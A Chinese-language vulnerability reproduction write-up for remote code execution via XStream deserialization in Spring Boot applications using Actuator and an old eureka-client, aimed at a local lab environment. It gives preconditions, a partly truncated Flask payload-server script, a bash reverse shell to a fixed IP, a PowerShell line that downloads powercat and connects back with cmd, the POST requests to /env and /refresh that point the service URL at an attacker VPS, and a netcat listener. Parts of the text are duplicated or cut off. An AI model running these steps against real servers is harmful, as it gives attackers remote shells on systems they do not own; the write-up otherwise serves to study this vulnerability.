- 利用条件
- 漏洞复现
- -- coding: utf-8 --
- @Time : 2019/3/12 10:06
- @Author : j1anFen
- @Site :
- @File : run.py
- linux 反弹 shell bash -i >& /dev/tcp/192.168.20.82/9999 0>&1
- windows 反弹 shell
powershell - https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1‘);">
IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1‘); powercat -c 192.168.123.1 -p 2333 -e cmd - getshell
- 漏洞环境
- 复现中出现的问题
- 参考
利用条件
- 可以 POST 请求目标网站的 /env 接口设置属性
- 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
- 目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)
- 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
漏洞复现
架设响应恶意 xstream payload
在 vps 使用 python flask 搭建一个简单的 web 服务,用来存放恶意 xstream,先使用 pip3 安装 flask 依赖
脚本如下,放在自己的 vps上,运行命令如下(需要更改自己的 vps 的 ip 地址以及反弹的端口号),这里还有一个使用 python 进行命令执行的 脚本pip3 install flask
```pythonpython3 EurekaXstreamDeserializationRCE.py
-- coding: utf-8 --
@Time : 2019/3/12 10:06
@Author : j1anFen
@Site :
@File : run.py
linux 反弹 shell bash -i >& /dev/tcp/192.168.20.82/9999 0>&1
windows 反弹 shell
powershell
IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1‘);
powercat -c 192.168.123.1 -p 2333 -e cmd
from flask import Flask, Response
app = Flask(name)
@app.route(‘/‘, defaults={‘path’: ‘’})
@app.route(‘/
运行成功后显示如下<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/1515624/1663577065182-5d51f2ad-3475-4ad6-8708-5def7e7a618a.png#clientId=u98b11ff6-9fa7-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=171&id=uf3b61d14&margin=%5Bobject%20Object%5D&name=image.png&originHeight=342&originWidth=1220&originalType=binary&ratio=1&rotation=0&showTitle=false&size=388544&status=done&style=none&taskId=u9ec60481-110e-4307-a480-199659ff217&title=&width=610)<br />浏览器访问 http://vps_ip:2222/xstream 会出现,并且 vps 会受到请求<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/1515624/1663577227363-ba406a76-4dbf-4ddf-b2e2-331149d77e11.png#clientId=u98b11ff6-9fa7-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=805&id=u9937b7e4&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1610&originWidth=1928&originalType=binary&ratio=1&rotation=0&showTitle=false&size=349839&status=done&style=none&taskId=uac318664-b8bb-46e7-92f0-b4661d2663d&title=&width=964)<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/1515624/1663577135849-4564049d-29b7-4e96-9822-c262c6bfebc9.png#clientId=u98b11ff6-9fa7-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=231&id=ud2da01a9&margin=%5Bobject%20Object%5D&name=image.png&originHeight=462&originWidth=1238&originalType=binary&ratio=1&rotation=0&showTitle=false&size=534141&status=done&style=none&taskId=u37555728-552f-4cc0-8fbe-3359175b682&title=&width=619)
<a name="X52eC"></a>
### 判断目标是否出网
<a name="fUAMt"></a>
#### 设置 eureka.client.serviceUrl.defaultZone 属性
springboot 1.x
```bash
POST /env
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://dig.pm/
springboot 2.x
POST /actuator/env
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://dig.pm/"}
设置完后数据包返回如下
springboot 1.x
springboot 2.x
刷新接口
springboot 1.x
POST /refresh
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Content-Type: application/x-www-form-urlencoded
springboot 2.x
POST /actuator/refresh
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Content-Type: application/json
{}
刷新后数据包如下
实际测试中发现 2.x 需要在请求中加一个
{}
,1.x 加或者不加都是可以的
springboot 1.x
请求体中带 {}
,可以成功调用 refresh 接口
请求体中不带 {}
,也可以成功调用 refresh 接口
springboot 2.x
访问 http://url/env 可以发现,eureka.client.serviceUrl.defaultZone 已被设置好
并且刷新后,可以接受到 dns 请求,证明可以出网
getshell
监听自己 vps
nv -lvnp 7777
然后设置 eureka.client.serviceUrl.defaultZone 属性 + 刷新接口,不同的是这里的 eureka.client.serviceUrl.defaultZone=
要配置自己的 vps 地址,例如 http://vps-ip:2222/xstream
然后刷新后 vps 会收到请求
同时 nc 接受到反弹的 shell
漏洞环境
可以在这里找到 漏洞环境 ,使用 idea 打开运行即可
复现中出现的问题
使用 macos 本地搭建环境进行复现,发现打完 payload 后 vps 没收到返回的 shell,需要等待一段时间后才会有反应